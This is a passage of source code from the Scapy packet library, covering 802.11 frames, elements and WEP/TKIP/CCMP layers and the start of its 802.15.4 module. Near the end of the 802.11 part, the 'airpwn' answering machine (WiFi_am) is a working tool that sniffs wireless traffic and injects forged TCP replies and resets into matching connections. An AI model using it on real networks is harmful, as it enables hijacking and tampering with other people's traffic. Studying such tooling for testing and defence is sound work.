cls.oui.default\n        if not oui:\n            # This is Dot11EltVendorSpecific, register it in the super-class.\n            super().register_variant()\n        elif oui not in cls.registered_ouis:\n            # Sub-Vendor (e.g. Dot11EltMicrosoftWPA)\n            cls.registered_ouis[oui] = cls\n\n\nclass Dot11EltMicrosoftWPA(Dot11EltVendorSpecific):\n    name = \"802.11 Microsoft WPA\"\n    match_subclass = True\n    ID = 221\n    oui = 0x0050f2\n    # It appears many WPA implementations ignore the fact\n    # that this IE should only have a single cipher and auth suite\n    fields_desc = Dot11EltVendorSpecific.fields_desc[:3] + [\n        XByteField(\"type\", 0x01)\n    ] + Dot11EltRSN.fields_desc[2:8]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            type_ = orb(_pkt[5])\n            if type_ == 0x01:\n                # MS WPA IE\n                return Dot11EltMicrosoftWPA\n            elif type_ == 0x02:\n                # MS WME IE TODO\n                # return Dot11EltMicrosoftWME\n                pass\n            elif type_ == 0x04:\n                # MS WPS IE TODO\n                # return Dot11EltWPS\n                pass\n            return Dot11EltVendorSpecific\n        return cls\n\n\n# 802.11-2016 9.4.2.19\n\nclass Dot11EltCSA(Dot11Elt):\n    name = \"802.11 CSA Element\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 37, _dot11_id_enum),\n        ByteField(\"len\", 3),\n        ByteField(\"mode\", 0),\n        ByteField(\"new_channel\", 0),\n        ByteField(\"channel_switch_count\", 0)\n    ]\n\n\n# 802.11-2016 9.4.2.59\n\nclass Dot11EltOBSS(Dot11Elt):\n    name = \"802.11 OBSS Scan Parameters Element\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 74, _dot11_id_enum),\n        ByteField(\"len\", 14),\n        LEShortField(\"Passive_Dwell\", 0),\n        LEShortField(\"Active_Dwell\", 0),\n        LEShortField(\"Scan_Interval\", 0),\n        LEShortField(\"Passive_Total_Per_Channel\", 0),\n        LEShortField(\"Active_Total_Per_Channel\", 0),\n        LEShortField(\"Delay\", 0),\n        LEShortField(\"Activity_Threshold\", 0),\n    ]\n\n\n# 802.11-2016 9.4.2.159\n\nclass Dot11VHTOperationInfo(Packet):\n    name = \"802.11 VHT Operation Information\"\n    fields_desc = [\n        ByteField(\"channel_width\", 0),\n        ByteField(\"channel_center0\", 36),\n        ByteField(\"channel_center1\", 0),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass Dot11EltVHTOperation(Dot11Elt):\n    name = \"802.11 VHT Operation Element\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"ID\", 192, _dot11_id_enum),\n        ByteField(\"len\", 5),\n        PacketField(\n            \"VHT_Operation_Info\",\n            Dot11VHTOperationInfo(),\n            Dot11VHTOperationInfo\n        ),\n        FieldListField(\n            \"mcs_set\",\n            [0x00],\n            BitField('SS', 0x00, size=2),\n            count_from=lambda x: 8\n        )\n    ]\n\n\n######################\n# 802.11 Frame types #\n######################\n\n# 802.11-2016 9.3\n\nclass Dot11Beacon(_Dot11EltUtils):\n    name = \"802.11 Beacon\"\n    fields_desc = [LELongField(\"timestamp\", 0),\n                   LEShortField(\"beacon_interval\", 0x0064),\n                   FlagsField(\"cap\", 0, 16, capability_list)]\n\n\nclass Dot11ATIM(Packet):\n    name = \"802.11 ATIM\"\n\n\nclass Dot11Disas(Packet):\n    name = \"802.11 Disassociation\"\n    fields_desc = [LEShortEnumField(\"reason\", 1, reason_code)]\n\n\nclass Dot11AssoReq(_Dot11EltUtils):\n    name = \"802.11 Association Request\"\n    fields_desc = [FlagsField(\"cap\", 0, 16, capability_list),\n                   LEShortField(\"listen_interval\", 0x00c8)]\n\n\nclass Dot11AssoResp(_Dot11EltUtils):\n    name = \"802.11 Association Response\"\n    fields_desc = [FlagsField(\"cap\", 0, 16, capability_list),\n                   LEShortField(\"status\", 0),\n                   LEShortField(\"AID\", 0)]\n\n\nclass Dot11ReassoReq(_Dot11EltUtils):\n    name = \"802.11 Reassociation Request\"\n    fields_desc = [FlagsField(\"cap\", 0, 16, capability_list),\n                   LEShortField(\"listen_interval\", 0x00c8),\n                   MACField(\"current_AP\", ETHER_ANY)]\n\n\nclass Dot11ReassoResp(Dot11AssoResp):\n    name = \"802.11 Reassociation Response\"\n\n\nclass Dot11ProbeReq(_Dot11EltUtils):\n    name = \"802.11 Probe Request\"\n\n\nclass Dot11ProbeResp(_Dot11EltUtils):\n    name = \"802.11 Probe Response\"\n    fields_desc = [LELongField(\"timestamp\", 0),\n                   LEShortField(\"beacon_interval\", 0x0064),\n                   FlagsField(\"cap\", 0, 16, capability_list)]\n\n\nclass Dot11Auth(_Dot11EltUtils):\n    name = \"802.11 Authentication\"\n    fields_desc = [LEShortEnumField(\"algo\", 0, [\"open\", \"sharedkey\"]),\n                   LEShortField(\"seqnum\", 0),\n                   LEShortEnumField(\"status\", 0, status_code)]\n\n    def answers(self, other):\n        if self.algo != other.algo:\n            return 0\n\n        if (\n            self.seqnum == other.seqnum + 1 or\n            (self.algo == 3 and self.seqnum == other.seqnum)\n        ):\n            return 1\n        return 0\n\n\nclass Dot11Deauth(Packet):\n    name = \"802.11 Deauthentication\"\n    fields_desc = [LEShortEnumField(\"reason\", 1, reason_code)]\n\n\nclass Dot11Ack(Packet):\n    name = \"802.11 Ack packet\"\n\n\n# 802.11-2016 9.4.1.11\n\nclass Dot11Action(Packet):\n    name = \"802.11 Action\"\n    fields_desc = [\n        ByteEnumField(\"category\", 0x00, {\n            0x00: \"Spectrum Management\",\n            0x01: \"QoS\",\n            0x02: \"DLS\",\n            0x03: \"Block\",\n            0x04: \"Public\",\n            0x05: \"Radio Measurement\",\n            0x06: \"Fast BSS Transition\",\n            0x07: \"HT\",\n            0x08: \"SA Query\",\n            0x09: \"Protected Dual of Public Action\",\n            0x0A: \"WNM\",\n            0x0B: \"Unprotected WNM\",\n            0x0C: \"TDLS\",\n            0x0D: \"Mesh\",\n            0x0E: \"Multihop\",\n            0x0F: \"Self-protected\",\n            0x10: \"DMG\",\n            0x11: \"Reserved Wi-Fi Alliance\",\n            0x12: \"Fast Session Transfer\",\n            0x13: \"Robust AV Streaming\",\n            0x14: \"Unprotected DMG\",\n            0x15: \"VHT\"\n        })\n    ]\n\n\n# 802.11-2016 9.6.14.1\n\nclass Dot11WNM(Packet):\n    name = \"802.11 WNM Action\"\n    fields_desc = [\n        ByteEnumField(\"action\", 0x00, {\n            0x00: \"Event Request\",\n            0x01: \"Event Report\",\n            0x02: \"Diagnostic Request\",\n            0x03: \"Diagnostic Report\",\n            0x04: \"Location Configuration Request\",\n            0x05: \"Location Configuration Response\",\n            0x06: \"BSS Transition Management Query\",\n            0x07: \"BSS Transition Management Request\",\n            0x08: \"BSS Transition Management Response\",\n            0x09: \"FMS Request\",\n            0x0A: \"FMS Response\",\n            0x0B: \"Collocated Interference Request\",\n            0x0C: \"Collocated Interference Report\",\n            0x0D: \"TFS Request\",\n            0x0E: \"TFS Response\",\n            0x0F: \"TFS Notify\",\n            0x10: \"WNM Sleep Mode Request\",\n            0x11: \"WNM Sleep Mode Response\",\n            0x12: \"TIM Broadcast Request\",\n            0x13: \"TIM Broadcast Response\",\n            0x14: \"QoS Traffic Capability Update\",\n            0x15: \"Channel Usage Request\",\n            0x16: \"Channel Usage Response\",\n            0x17: \"DMS Request\",\n            0x18: \"DMS Response\",\n            0x19: \"Timing Measurement Request\",\n            0x1A: \"WNM Notification Request\",\n            0x1B: \"WNM Notification Response\",\n            0x1C: \"WNM-Notify Response\"\n        })\n    ]\n\n\n# 802.11-2016 9.4.2.37\n\nclass SubelemTLV(Packet):\n    fields_desc = [\n        ByteField(\"type\", 0),\n        LEFieldLenField(\"len\", None, fmt=\"B\", length_of=\"value\"),\n        FieldListField(\n            \"value\",\n            [],\n            ByteField('', 0),\n            length_from=lambda p: p.len\n        )\n    ]\n\n\nclass BSSTerminationDuration(Packet):\n    name = \"BSS Termination Duration\"\n    fields_desc = [\n        ByteField(\"id\", 4),\n        ByteField(\"len\", 10),\n        LELongField(\"TSF\", 0),\n        LEShortField(\"duration\", 0)\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass NeighborReport(Packet):\n    name = \"Neighbor Report\"\n    fields_desc = [\n        ByteField(\"type\", 0),\n        ByteField(\"len\", 13),\n        MACField(\"BSSID\", ETHER_ANY),\n        # BSSID Information\n        BitField(\"AP_reach\", 0, 2, tot_size=-4),\n        BitField(\"security\", 0, 1),\n        BitField(\"key_scope\", 0, 1),\n        BitField(\"capabilities\", 0, 6),\n        BitField(\"mobility\", 0, 1),\n        BitField(\"HT\", 0, 1),\n        BitField(\"VHT\", 0, 1),\n        BitField(\"FTM\", 0, 1),\n        BitField(\"reserved\", 0, 18, end_tot_size=-4),\n        # BSSID Information end\n        ByteField(\"op_class\", 0),\n        ByteField(\"channel\", 0),\n        ByteField(\"phy_type\", 0),\n        ConditionalField(\n            PacketListField(\n                \"subelems\",\n                SubelemTLV(),\n                SubelemTLV,\n                length_from=lambda p: p.len - 13\n            ),\n            lambda p: p.len > 13\n        )\n    ]\n\n\n# 802.11-2016 9.6.14.9\n\nbtm_request_mode = [\n    \"Preferred_Candidate_List_Included\",\n    \"Abridged\",\n    \"Disassociation_Imminent\",\n    \"BSS_Termination_Included\",\n    \"ESS_Disassociation_Imminent\"\n]\n\n\nclass Dot11BSSTMRequest(Packet):\n    name = \"BSS Transition Management Request\"\n    fields_desc = [\n        ByteField(\"token\", 0),\n        FlagsField(\"mode\", 0, 8, btm_request_mode),\n        LEShortField(\"disassociation_timer\", 0),\n        ByteField(\"validity_interval\", 0),\n        ConditionalField(\n            PacketField(\n                \"termination_duration\",\n                BSSTerminationDuration(),\n                BSSTerminationDuration\n            ),\n            lambda p: p.mode and p.mode.BSS_Termination_Included\n        ),\n        ConditionalField(\n            ByteField(\"url_len\", 0),\n            lambda p: p.mode and p.mode.ESS_Disassociation_Imminent\n        ),\n        ConditionalField(\n            StrLenField(\"url\", \"\", length_from=lambda p: p.url_len),\n            lambda p: p.mode and p.mode.ESS_Disassociation_Imminent != 0\n        ),\n        ConditionalField(\n            PacketListField(\n                \"neighbor_report\",\n                NeighborReport(),\n                NeighborReport\n            ),\n            lambda p: p.mode and p.mode.Preferred_Candidate_List_Included\n        )\n    ]\n\n\n# 802.11-2016 9.6.14.10\n\nbtm_status_code = [\n    \"Accept\",\n    \"Reject-Unspecified_reject_reason\",\n    \"Reject-Insufficient_Beacon_or_Probe_Response_frames\",\n    \"Reject-Insufficient_available_capacity_from_all_candidates\",\n    \"Reject-BSS_termination_undesired\",\n    \"Reject-BSS_termination_delay_requested\",\n    \"Reject-STA_BSS_Transition_Candidate_List_provided\",\n    \"Reject-No_suitable_BSS_transition_candidates\",\n    \"Reject-Leaving_ESS\"\n]\n\n\nclass Dot11BSSTMResponse(Packet):\n    name = \"BSS Transition Management Response\"\n    fields_desc = [\n        ByteField(\"token\", 0),\n        ByteEnumField(\"status\", 0, btm_status_code),\n        ByteField(\"termination_delay\", 0),\n        ConditionalField(\n            MACField(\"target\", ETHER_ANY),\n            lambda p: p.status == 0\n        ),\n        ConditionalField(\n            PacketListField(\n                \"neighbor_report\",\n                NeighborReport(),\n                NeighborReport\n            ),\n            lambda p: p.status == 6\n        )\n    ]\n\n\n# 802.11-2016 9.6.2.1\n\nclass Dot11SpectrumManagement(Packet):\n    name = \"802.11 Spectrum Management Action\"\n    fields_desc = [\n        ByteEnumField(\"action\", 0x00, {\n            0x00: \"Measurement Request\",\n            0x01: \"Measurement Report\",\n            0x02: \"TPC Request\",\n            0x03: \"TPC Report\",\n            0x04: \"Channel Switch Announcement\",\n        })\n    ]\n\n\n# 802.11-2016 9.6.2.6\n\nclass Dot11CSA(Packet):\n    name = \"Channel Switch Announcement Frame\"\n    fields_desc = [\n        PacketField(\"CSA\", Dot11EltCSA(), Dot11EltCSA),\n    ]\n\n\nclass Dot11S1GBeacon(_Dot11EltUtils):\n    name = \"802.11 S1G Beacon\"\n    fields_desc = [LEIntField(\"timestamp\", 0),\n                   ByteField(\"change_seq\", 0)]\n\n\n###################\n# 802.11 Security #\n###################\n\n# 802.11-2016 12\n\nclass Dot11Encrypted(Packet):\n    name = \"802.11 Encrypted (unknown algorithm)\"\n    fields_desc = [StrField(\"data\", None)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        # Extracted from\n        # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-ieee80211.c  # noqa: E501\n        KEY_EXTIV = 0x20\n        EXTIV_LEN = 8\n        if _pkt and len(_pkt) >= 3:\n            if (orb(_pkt[3]) & KEY_EXTIV) and (len(_pkt) >= EXTIV_LEN):\n                if orb(_pkt[1]) == ((orb(_pkt[0]) | 0x20) & 0x7f):  # IS_TKIP\n                    return Dot11TKIP\n                elif orb(_pkt[2]) == 0:  # IS_CCMP\n                    return Dot11CCMP\n                else:\n                    # Unknown encryption algorithm\n                    return Dot11Encrypted\n            else:\n                return Dot11WEP\n        return conf.raw_layer\n\n\n# 802.11-2016 12.3.2\n\nclass Dot11WEP(Dot11Encrypted):\n    name = \"802.11 WEP packet\"\n    fields_desc = [StrFixedLenField(\"iv\", b\"\\0\\0\\0\", 3),\n                   ByteField(\"keyid\", 0),\n                   StrField(\"wepdata\", None, remain=4),\n                   IntField(\"icv\", None)]\n\n    def decrypt(self, key=None):\n        if key is None:\n            key = conf.wepkey\n        if key and conf.crypto_valid:\n            d = Cipher(\n                decrepit_algorithms.ARC4(self.iv + key.encode(\"utf8\")),\n                None,\n                default_backend(),\n            ).decryptor()\n            self.add_payload(LLC(d.update(self.wepdata) + d.finalize()))\n\n    def post_dissect(self, s):\n        self.decrypt()\n\n    def build_payload(self):\n        if self.wepdata is None:\n            return Packet.build_payload(self)\n        return b\"\"\n\n    @crypto_validator\n    def encrypt(self, p, pay, key=None):\n        if key is None:\n            key = conf.wepkey\n        if key:\n            if self.icv is None:\n                pay += struct.pack(\"<I\", crc32(pay) & 0xffffffff)\n                icv = b\"\"\n            else:\n                icv = p[4:8]\n            e = Cipher(\n                decrepit_algorithms.ARC4(self.iv + key.encode(\"utf8\")),\n                None,\n                default_backend(),\n            ).encryptor()\n            return p[:4] + e.update(pay) + e.finalize() + icv\n        else:\n            warning(\"No WEP key set (conf.wepkey).. strange results expected..\")  # noqa: E501\n            return b\"\"\n\n    def post_build(self, p, pay):\n        if self.wepdata is None:\n            p = self.encrypt(p, raw(pay))\n        return p\n\n# we can't dissect ICV / MIC here: they are encrypted\n\n# 802.11-2016 12.5.2.2\n\n\nclass Dot11TKIP(Dot11Encrypted):\n    name = \"802.11 TKIP packet\"\n    fields_desc = [\n        # iv - 4 bytes\n        ByteField(\"TSC1\", 0),\n        ByteField(\"WEPSeed\", 0),\n        ByteField(\"TSC0\", 0),\n        BitField(\"key_id\", 0, 2),  #\n        BitField(\"ext_iv\", 0, 1),  # => LE = reversed order\n        BitField(\"res\", 0, 5),     #\n        # ext_iv - 4 bytes\n        ConditionalField(ByteField(\"TSC2\", 0), lambda pkt: pkt.ext_iv),\n        ConditionalField(ByteField(\"TSC3\", 0), lambda pkt: pkt.ext_iv),\n        ConditionalField(ByteField(\"TSC4\", 0), lambda pkt: pkt.ext_iv),\n        ConditionalField(ByteField(\"TSC5\", 0), lambda pkt: pkt.ext_iv),\n        # data\n        StrField(\"data\", None),\n    ]\n\n# 802.11-2016 12.5.3.2\n\n\nclass Dot11CCMP(Dot11Encrypted):\n    name = \"802.11 CCMP packet\"\n    fields_desc = [\n        # iv - 8 bytes\n        ByteField(\"PN0\", 0),\n        ByteField(\"PN1\", 0),\n        ByteField(\"res0\", 0),\n        BitField(\"key_id\", 0, 2),  #\n        BitField(\"ext_iv\", 0, 1),  # => LE = reversed order\n        BitField(\"res1\", 0, 5),    #\n        ByteField(\"PN2\", 0),\n        ByteField(\"PN3\", 0),\n        ByteField(\"PN4\", 0),\n        ByteField(\"PN5\", 0),\n        # data\n        StrField(\"data\", None),\n    ]\n\n\n############\n# Bindings #\n############\n\n\nbind_top_down(RadioTap, Dot11FCS, present=2, Flags=16)\nbind_top_down(Dot11, Dot11QoS, type=2, subtype=0xc)\n\nbind_layers(PrismHeader, Dot11,)\nbind_layers(Dot11, LLC, type=2)\nbind_layers(Dot11QoS, LLC,)\n\n# 802.11-2016 9.2.4.1.3 Type and Subtype subfields\nbind_layers(Dot11, Dot11AssoReq, subtype=0, type=0)\nbind_layers(Dot11, Dot11AssoResp, subtype=1, type=0)\nbind_layers(Dot11, Dot11ReassoReq, subtype=2, type=0)\nbind_layers(Dot11, Dot11ReassoResp, subtype=3, type=0)\nbind_layers(Dot11, Dot11ProbeReq, subtype=4, type=0)\nbind_layers(Dot11, Dot11ProbeResp, subtype=5, type=0)\nbind_layers(Dot11, Dot11Beacon, subtype=8, type=0)\nbind_layers(Dot11, Dot11S1GBeacon, subtype=1, type=3)\nbind_layers(Dot11, Dot11ATIM, subtype=9, type=0)\nbind_layers(Dot11, Dot11Disas, subtype=10, type=0)\nbind_layers(Dot11, Dot11Auth, subtype=11, type=0)\nbind_layers(Dot11, Dot11Deauth, subtype=12, type=0)\nbind_layers(Dot11, Dot11Action, subtype=13, type=0)\nbind_layers(Dot11, Dot11Ack, subtype=13, type=1)\nbind_layers(Dot11Beacon, Dot11Elt,)\nbind_layers(Dot11S1GBeacon, Dot11Elt,)\nbind_layers(Dot11AssoReq, Dot11Elt,)\nbind_layers(Dot11AssoResp, Dot11Elt,)\nbind_layers(Dot11ReassoReq, Dot11Elt,)\nbind_layers(Dot11ReassoResp, Dot11Elt,)\nbind_layers(Dot11ProbeReq, Dot11Elt,)\nbind_layers(Dot11ProbeResp, Dot11Elt,)\nbind_layers(Dot11Auth, Dot11Elt,)\nbind_layers(Dot11Elt, Dot11Elt,)\nbind_layers(Dot11TKIP, conf.raw_layer)\nbind_layers(Dot11CCMP, conf.raw_layer)\nbind_layers(Dot11Action, Dot11SpectrumManagement, category=0x00)\nbind_layers(Dot11SpectrumManagement, Dot11CSA, action=4)\nbind_layers(Dot11Action, Dot11WNM, category=0x0A)\nbind_layers(Dot11WNM, Dot11BSSTMRequest, action=7)\nbind_layers(Dot11WNM, Dot11BSSTMResponse, action=8)\n\n\nconf.l2types.register(DLT_IEEE802_11, Dot11)\nconf.l2types.register_num2layer(801, Dot11)\nconf.l2types.register(DLT_PRISM_HEADER, PrismHeader)\nconf.l2types.register_num2layer(802, PrismHeader)\nconf.l2types.register(DLT_IEEE802_11_RADIO, RadioTap)\nconf.l2types.register_num2layer(803, RadioTap)\n\n####################\n# Other WiFi utils #\n####################\n\n\nclass WiFi_am(AnsweringMachine):\n    \"\"\"Before using this, initialize \"iffrom\" and \"ifto\" interfaces:\niwconfig iffrom mode monitor\niwpriv orig_ifto hostapd 1\nifconfig ifto up\nnote: if ifto=wlan0ap then orig_ifto=wlan0\nnote: ifto and iffrom must be set on the same channel\nex:\nifconfig eth1 up\niwconfig eth1 mode monitor\niwconfig eth1 channel 11\niwpriv wlan0 hostapd 1\nifconfig wlan0ap up\niwconfig wlan0 channel 11\niwconfig wlan0 essid dontexist\niwconfig wlan0 mode managed\n\"\"\"\n    function_name = \"airpwn\"\n    filter = None\n\n    def parse_options(self, iffrom=conf.iface, ifto=conf.iface, replace=\"\",\n                      pattern=\"\", ignorepattern=\"\"):\n        self.iffrom = iffrom\n        self.ifto = ifto\n        self.ptrn = re.compile(pattern.encode())\n        self.iptrn = re.compile(ignorepattern.encode())\n        self.replace = replace\n\n    def is_request(self, pkt):\n        if not isinstance(pkt, Dot11):\n            return 0\n        if not pkt.FCfield & 1:\n            return 0\n        if not pkt.haslayer(TCP):\n            return 0\n        tcp = pkt.getlayer(TCP)\n        pay = raw(tcp.payload)\n        if not self.ptrn.match(pay):\n            return 0\n        if self.iptrn.match(pay) is True:\n            return 0\n        return True\n\n    def make_reply(self, p):\n        ip = p.getlayer(IP)\n        tcp = p.getlayer(TCP)\n        pay = raw(tcp.payload)\n        p[IP].underlayer.remove_payload()\n        p.FCfield = \"from_DS\"\n        p.addr1, p.addr2 = p.addr2, p.addr1\n        p /= IP(src=ip.dst, dst=ip.src)\n        p /= TCP(sport=tcp.dport, dport=tcp.sport,\n                 seq=tcp.ack, ack=tcp.seq + len(pay),\n                 flags=\"PA\")\n        q = p.copy()\n        p /= self.replace\n        q.ID += 1\n        q.getlayer(TCP).flags = \"RA\"\n        q.getlayer(TCP).seq += len(self.replace)\n        return [p, q]\n\n    def print_reply(self, query, *reply):\n        p = reply[0][0]\n        print(p.sprintf(\"Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%\"))\n\n    def send_reply(self, reply):\n        sendp(reply, iface=self.ifto, **self.optsend)\n\n    def sniff(self):\n        sniff(iface=self.iffrom, **self.optsniff)\n\n\nconf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ]\n\n\nclass Dot11PacketList(PacketList):\n    def __init__(self, res=None, name=\"Dot11List\", stats=None):\n        if stats is None:\n            stats = conf.stats_dot11_protocols\n\n        PacketList.__init__(self, res, name, stats)\n\n    def toEthernet(self):\n        data = [x[Dot11] for x in self.res if Dot11 in x and x.type == 2]\n        r2 = []\n        for p in data:\n            q = p.copy()\n            q.unwep()\n            r2.append(Ether() / q.payload.payload.payload)  # Dot11/LLC/SNAP/IP\n        return PacketList(r2, name=\"Ether from %s\" % self.listname)\n"
  },
  {
    "path": "scapy/layers/dot15d4.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Ryan Speers <ryan@rmspeers.com> 2011-2012\n# Copyright (C) Roger Meyer <roger.meyer@csus.edu>: 2012-03-10 Added frames\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>: 2018\n# Copyright (C) Dimitrios-Georgios Akestoridis <akestoridis@cmu.edu>\n\n\"\"\"\nWireless MAC according to IEEE 802.15.4.\n\"\"\"\n\nimport struct\n\nfrom scapy.compat import orb, chb\nfrom scapy.error import warning\nfrom scapy.config import conf\n\nfrom scapy.data import DLT_IEEE802_15_4_WITHFCS, DLT_IEEE802_15_4_NOFCS\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    Emph,\n    FCSField,\n    Field,\n    FieldListField,\n    LELongField,\n    MultipleTypeField,\n    PacketField,\n    StrFixedLenField,\n    XByteField,\n    XLEIntField,\n    XLEShortField,\n)\n\n# Fields #\n\n\nclass dot15d4AddressField(Field):\n    __slots__ = [\"adjust\", \"length_of\"]\n\n    def __init__(self, name, default, length_of=None, fmt=\"<H\", adjust=None):\n        Field.__init__(self, name, default, fmt)\n        self.length_of = length_of\n        if adjust is not None:\n            self.adjust = adjust\n        else:\n            self.adjust = lambda pkt, x: self.lengthFromAddrMode(pkt, x)\n\n    def i2repr(self, pkt, x):\n        \"\"\"Convert internal value to a nice representation\"\"\"\n        if len(hex(self.i2m(pkt, x))) < 7:  # short address\n            return hex(self.i2m(pkt, x))\n        else:  # long address\n            x = \"%016x\" % self.i2m(pkt, x)\n            return \":\".join([\"%s%s\" % (x[i], x[i + 1]) for i in range(0, len(x), 2)])  # noqa: E501\n\n    def addfield(self, pkt, s, val):\n        \"\"\"Add an internal value to a string\"\"\"\n        if self.adjust(pkt, self.length_of) == 2:\n            return s + struct.pack(self.fmt[0] + \"H\", val)\n        elif self.adjust(pkt, self.length_of) == 8:\n            return s + struct.pack(self.fmt[0] + \"Q\", val)\n        else:\n            return s\n\n    def getfield(self, pkt, s):\n        if self.adjust(pkt, self.length_of) == 2:\n            return s[2:], self.m2i(pkt, struct.unpack(self.fmt[0] + \"H\", s[:2])[0])  # noqa: E501\n        elif self.adjust(pkt, self.length_of) == 8:\n            return s[8:], self.m2i(pkt, struct.unpack(self.fmt[0] + \"Q\", s[:8])[0])  # noqa: E501\n        else:\n            raise Exception('impossible case')\n\n    def lengthFromAddrMode(self, pkt, x):\n        addrmode = 0\n        pkttop = pkt.underlayer\n        if pkttop is None:\n            warning(\"No underlayer to guess address mode\")\n            return 0\n        while True:\n            try:\n                addrmode = pkttop.getfieldval(x)\n                break\n            except Exception:\n                if pkttop.underlayer is None:\n                    break\n                pkttop = pkttop.underlayer\n        # print(\"Underlayer field value of\", x, \"is\", addrmode)\n        if addrmode == 2:\n            return 2\n        elif addrmode == 3:\n            return 8\n        return 0\n\n\n# Layers #\n\nclass Dot15d4(Packet):\n    name = \"802.15.4\"\n    fields_desc = [\n        BitField(\"fcf_reserved_1\", 0, 1),  # fcf p1 b1\n        BitEnumField(\"fcf_panidcompress\", 0, 1, [False, True]),\n        BitEnumField(\"fcf_ackreq\", 0, 1, [False, True]),\n        BitEnumField(\"fcf_pending\", 0, 1, [False, True]),\n        BitEnumField(\"fcf_security\", 0, 1, [False, True]),  # fcf p1 b2\n        Emph(BitEnumField(\"fcf_frametype\", 0, 3, {0: \"Beacon\", 1: \"Data\", 2: \"Ack\", 3: \"Command\"})),  # noqa: E501\n        BitEnumField(\"fcf_srcaddrmode\", 0, 2, {0: \"None\", 1: \"Reserved\", 2: \"Short\", 3: \"Long\"}),  # fcf p2 b1  # noqa: E501\n        BitField(\"fcf_framever\", 0, 2),  # 00 compatibility with 2003 version; 01 compatible with 2006 version  # noqa: E501\n        BitEnumField(\"fcf_destaddrmode\", 2, 2, {0: \"None\", 1: \"Reserved\", 2: \"Short\", 3: \"Long\"}),  # fcf p2 b2  # noqa: E501\n        BitField(\"fcf_reserved_2\", 0, 2),\n        Emph(ByteField(\"seqnum\", 1))  # sequence number\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 %Dot15d4.fcf_frametype% ackreq(%Dot15d4.fcf_ackreq%) ( %Dot15d4.fcf_destaddrmode% -> %Dot15d4.fcf_srcaddrmode% ) Seq#%Dot15d4.seqnum%\")  # noqa: E501\n\n    def guess_payload_class(self, payload):\n        if self.fcf_frametype == 0x00:\n            return Dot15d4Beacon\n        elif self.fcf_frametype == 0x01:\n            return Dot15d4Data\n        elif self.fcf_frametype == 0x02:\n            return Dot15d4Ack\n        elif self.fcf_frametype == 0x03:\n            return Dot15d4Cmd\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n    def answers(self, other):\n        if isinstance(other, Dot15d4):\n            if self.fcf_frametype == 2:  # ack\n                if self.seqnum != other.seqnum:  # check for seqnum matching\n                    return 0\n                elif other.fcf_ackreq == 1:  # check that an ack was indeed requested  # noqa: E501\n                    return 1\n        return 0\n\n    def post_build(self, p, pay):\n        # This just forces destaddrmode to None for Ack frames.\n        if self.fcf_frametype == 2 and self.fcf_destaddrmode != 0:\n            self.fcf_destaddrmode = 0\n            return p[:1] + \\\n                chb((self.fcf_srcaddrmode << 6) + (self.fcf_framever << 4)) \\\n                + p[2:] + pay\n        else:\n            return p + pay\n\n\nclass Dot15d4FCS(Dot15d4):\n    '''\n    This class is a drop-in replacement for the Dot15d4 class above, except\n    it expects a FCS/checksum in the input, and produces one in the output.\n    This provides the user flexibility, as many 802.15.4 interfaces will have an AUTO_CRC setting  # noqa: E501\n    that will validate the FCS/CRC in firmware, and add it automatically when transmitting.  # noqa: E501\n    '''\n    name = \"802.15.4 - FCS\"\n    match_subclass = True\n    fields_desc = Dot15d4.fields_desc + [FCSField(\"fcs\", None, fmt=\"<H\")]\n\n    def compute_fcs(self, data):\n        # Do a CRC-CCITT Kermit 16bit on the data given\n        # Returns a CRC that is the FCS for the frame\n        #  Implemented using pseudocode from: June 1986, Kermit Protocol Manual\n        #  See also:\n        #   http://regregex.bbcmicro.net/crc-catalogue.htm#crc.cat.kermit\n        crc = 0\n        for i in range(0, len(data)):\n            c = orb(data[i])\n            q = (crc ^ c) & 15  # Do low-order 4 bits\n            crc = (crc // 16) ^ (q * 4225)\n            q = (crc ^ (c // 16)) & 15  # And high 4 bits\n            crc = (crc // 16) ^ (q * 4225)\n        return struct.pack('<H', crc)  # return as bytes in little endian order\n\n    def post_build(self, p, pay):\n        # construct the packet with the FCS at the end\n        p = Dot15d4.post_build(self, p, pay)\n        if self.fcs is None:\n            p = p[:-2]\n            p = p + self.compute_fcs(p)\n        return p\n\n\nclass Dot15d4Ack(Packet):\n    name = \"802.15.4 Ack\"\n    fields_desc = []\n\n\nclass Dot15d4AuxSecurityHeader(Packet):\n    name = \"802.15.4 Auxiliary Security Header\"\n    fields_desc = [\n        BitField(\"sec_sc_reserved\", 0, 3),\n        # Key Identifier Mode\n        # 0: Key is determined implicitly from the originator and recipient(s) of the frame  # noqa: E501\n        # 1: Key is determined explicitly from the the 1-octet Key Index subfield of the Key Identifier field  # noqa: E501\n        # 2: Key is determined explicitly from the 4-octet Key Source and the 1-octet Key Index  # noqa: E501\n        # 3: Key is determined explicitly from the 8-octet Key Source and the 1-octet Key Index  # noqa: E501\n        BitEnumField(\"sec_sc_keyidmode\", 0, 2, {\n            0: \"Implicit\", 1: \"1oKeyIndex\", 2: \"4o-KeySource-1oKeyIndex\", 3: \"8o-KeySource-1oKeyIndex\"}  # noqa: E501\n        ),\n        BitEnumField(\"sec_sc_seclevel\", 0, 3, {0: \"None\", 1: \"MIC-32\", 2: \"MIC-64\", 3: \"MIC-128\", 4: \"ENC\", 5: \"ENC-MIC-32\", 6: \"ENC-MIC-64\", 7: \"ENC-MIC-128\"}),  # noqa: E501\n        XLEIntField(\"sec_framecounter\", 0x00000000),  # 4 octets\n        # Key Identifier (variable length): identifies the key that is used for cryptographic protection  # noqa: E501\n        # Key Source : length of sec_keyid_keysource varies btwn 0, 